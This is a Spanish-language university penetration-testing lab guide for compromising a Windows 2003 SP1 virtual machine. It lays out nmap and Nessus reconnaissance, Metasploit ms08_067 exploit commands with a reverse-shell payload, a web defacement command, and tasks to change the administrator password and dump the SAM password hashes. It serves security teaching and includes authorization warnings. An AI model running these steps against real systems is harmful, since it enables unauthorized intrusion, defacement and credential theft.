Laboratorio 4 - Intrusión de servidor Windows con
metaesploit
Objetivo:
Utilizar la herramienta Nessus para encontrar vulnerabilidades
Utilizar la herramienta metasploit para hacer un exploit a un servidor Windows
El framework metasploit es un entorno de desarrollo basado en módulos para construir ataques, permite
probarlos e integrarlos en una plataforma de pruebas de penetración automatizada
Prerrequisitos:
Equipo con sistema operativo Windows 2003 SP1
Equipo con Kali Linux (http://www.remote-exploit.org)
Herramienta de análisis de vulnerabilidades Nessus o similar instalada y en funcionamiento
Herramienta de penetración metasploit versión 2 o superior
Se supone que la IP de la víctima es 172.16.20.30/16 (configurar la red adecuadamente para tener
conexión entre la maquina víctima y la maquina atacante).
Verificar que ya se cuenta con un IP, comando ifconfig (o comando ip), si no tiene IP entonces sola-
mente deberá ver la tarjeta de red loopback
Configure su IP.
Notas importantes:
Se recomienda usar máquinas virtuales para emular los diferentes sistemas operativos.
Las pruebas realizadas para exploración y uso de ataques pueden comprometer los sistemas
utilizados, nunca deben hacerse sin previo conocimiento de los administradores de los sistemas
evaluados.
En cada país existen diferentes leyes hasta de tipo penal, por favor no haga este laboratorio con
servidores reales sin previa autorización del dueño del mismo.
Envíe un archivo con los resultados y observaciones de la experiencia de laboratorio. Agregue las
capturas de pantalla que sirvan de soporte para explicar los resultados obtenidos. Organice las
imágenes y las respuestas en un documento en Word (procesador de textos) y guárdelo con un
nombre que indique el número de laboratorio, nombre y apellido. Por ejemplo: lab4_alvaro-ospina.
Diagrama del ataque
Origen Destino
Atacante hace ping a victima Victima no responde si tiene firewall activado para no
reponder a icmp-request
Se hace exploración de puertos sin hacer ping Victima cree que el atacante es un usuario que desea
los servicios prestados por la victima
Atacante prueba ataque webdav contra puerto 80 Si la victima ya fue atacada el servidor no prestara
servicios por el puerto 80
Dara la sensación al administrador y a los usuarios
finales que el servicio esta caído, el administrador lo
reiniciara, pero estos no sabe que esta bajo el ataque
webdav
Si la victima ya fue atacada el atacante debe esperar
a que el administrador reinicie el servicio
Atacante hace análisis de vulnerabilidades para no Victima muestra sus vulnerabilidades a nessus
esperar tanto tiempo, entonces descubre una
vulnerabilidad de RPC muy documentada
Atacante usa el framework metasploit versión 2 para La victima es penetrada y queda con permisos de
hacer un exploit al servidor victima administrador
Paso 1: Reconocimiento de la victima
Inicialmente se realiza un ping a la IP del servidor, para verificar que este se encuentra disponible, esto
también permite intuir si existe un mecanismo de protección perimetral adicional como un firewall que pueda
impedir el ataque:
# ping 172.16.20.30
Un servidor Windows configurado con firewall generalmente no responderá a la herramienta ping
Paso 2: Enumeración de servicios de la victima
Se utiliza la herramienta nmap para hacer exploración de puertos, la idea es enumerar los servicios que la
víctima esta prestando.
Esta información confirma la presencia de diferentes servicios y nos da idea de que vulnerabilidades tiene el
servidor de la victima:
# nmap –sV –P0 –p 0-6666 172.16.20.30
Nota: -P0 indica no hacerle ping a la victima, esto lo sabemos por el paso 1
Se obtiene el siguiente resultado de enumeración de servicios:
Starting Nmap 5.51 ( http://www.nmap.org ) at 2011-10-07 08:54 COT
Nmap scan report for 172.16.20.30
Host is up (0.00054s latency)
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
3389/tcp open ms-term-serv?
MAC Address: 08:00:27:F2:AA:29 (Cadmus Computer System)
Service Info: Host: OS: Windows
Nmap finished: 1 IP address (1 host up) scanned in 37.55 seconds
Paso 3: Probar ataques haciendo análisis de vulnerabilidades
Con el fin de realizar un ataque más preciso (evitar ensayo y error), es necesario determinar exactamente
cuales pueden ser las vulnerabilidades presentes, esto permite buscar y utilizar las herramientas apropiadas.
A continuación, ejecutaremos nessus para ver las vulnerabilidades que detecta. Dependiendo de la versión
de la herramienta utilizada, la forma de ejecución cambia.
En el caso del servidor con Windows 2003 con service pack 1 se encontraran las vulnerabilidades (ver fig 1)
También se podría verificar si existe la vulnerabilidad ms08_067 con nmap (o con cualquier otro software
para análisis de vulnerabilidades), de la siguiente manera:
# nmap --script smb-vuln-ms08-067 -p 445 172.16.20.30
Figura 1: Vulnerabilidades de Windows 2003 SP1
Paso 4: Ejecutar ataque basado en framework mas efectivo
El análisis de vulnerabilidades revela varios problemas de seguridad, buscando en google se encuentra que
la vulnerabilidad es bien conocida y se llama ms08_067.
Con esta información, es posible entonces utilizar un ataque específicamente diseñado para esta
vulnerabilidad. Para ello se utilizará la herramienta Framework Metasploit 3, también disponible en el DVD de
Backtrack/Kali.
A continuación se muestran los comandos que se deben ejecutar para utilizar este framework y utilizar el
exploit apropiado para esta vulnerabilidad previamente detectada con nessus:
# msfconsole
msf > show exploits
msf > use windows/smb/ms08_067_netapi
msf > set PAYLOAD generic/shell_reverse_tcp
msf > show options
msf > set RHOST 172.16.20.30
msf > set LHOST 172.16.20.100
msf > show options
msf > exploit
Nota: cambiar el LHOST a la dirección IP configurada en su maquina Kali
Donde:
use windows/smb/ms08_067_netapi
Determina el tipo de exploit a utilizar, disponible de la lista del framework obtenida con “show exploits”.
set PAYLOAD generic/shell_reverse_tcp (o también: set PAYLOAD windows/meterpreter/reverse_tcp )
Determina el tipo de “carga” o resultado del ataque, disponible de la lista del framework obtenida con “show
payloads”.
show options
Muestra los parámetros requeridos para la configuración del payload, uno de los usos más comunes es
verificar si la configuración quedo de forma adecuada al configurar el exploit
set RHOST 172.16.20.30
Ajusta los parámetros requeridos por el exploit, particularmente el servidor objetivo(victima) que se desea
atacar.
set LHOST 172.16.20.100
Ajusta los parámetros requeridos por el exploit, particularmente la IP de la maquina atacante (Kali).
El exploit permite inyectar una línea de comandos en el servidor, la cual se puede operar directamente. De
esta manera, se tiene acceso al disco duro del servidor atacado, para consultar información dentro del
mismo.
La figura 2 muestra cuando el ataque es exitoso:
Figura 2: Exploit ms08_067.
Paso 6: La maquina víctima es consultada con permisos de usuario administrador
Ver la tabla de enrutamiento de la vicitima:
C:\> netstat -na
De la misma manera, es posible utilizar el mismo exploit para utilizar otras “cargas”, e inyectar usuarios
nuevos, servidores remotos, o cualquier otra operación que se requiera sobre el servidor.
Modificar la pagina web por defecto del servidor IIS:
C:\> cd C:\Inetpub\wwwroot
C:\> echo “Webdefacement exitoso. Servidor web débil” > index.htm
Revise la página web desde un navegador. (Ya sea desde la víctima o el atacante).
Modificar la contraseña de administrador por línea de comandos:
Como se podría modificar la contraseña de administrador por línea de comandos?
Muestre el ingreso al Windows con el usuario creado.
Paso 7: Descargar/Subir archivos a la maquina vulnerable.
Suponga que el comando hashdump de meterpreter no funciona, realice un volcado del SAM o parte de ella
a un archivo y descargue el archivo desde el Windows a su Kali. Sugerencia: busque el set de comandos
de meterpreter para subir y bajar archivos y utilice alguna herramienta de windows para el volcado del SAM
que están disponibles en kali.
Paso 8: Vulnerabilidades/exploit de caja blanca (Defensa)
Instalar un Windows (sin ninguna actualización o con algunas) donde tenemos acceso como Administrador y
buscar alguna herramienta/tool/api que obtenga un reporte de las vulnerabilidades de Microsoft
(actualizaciones que faltan) e informe para cuales existe exploit/módulo de metasploit. Es deseable que si la
herramienta es para Windows sea lo menos invasiva posible. (Condición deseable para cuando los servidores
están en producción y el bloqueo/reinicio no es aceptable)
Fin del laboratorio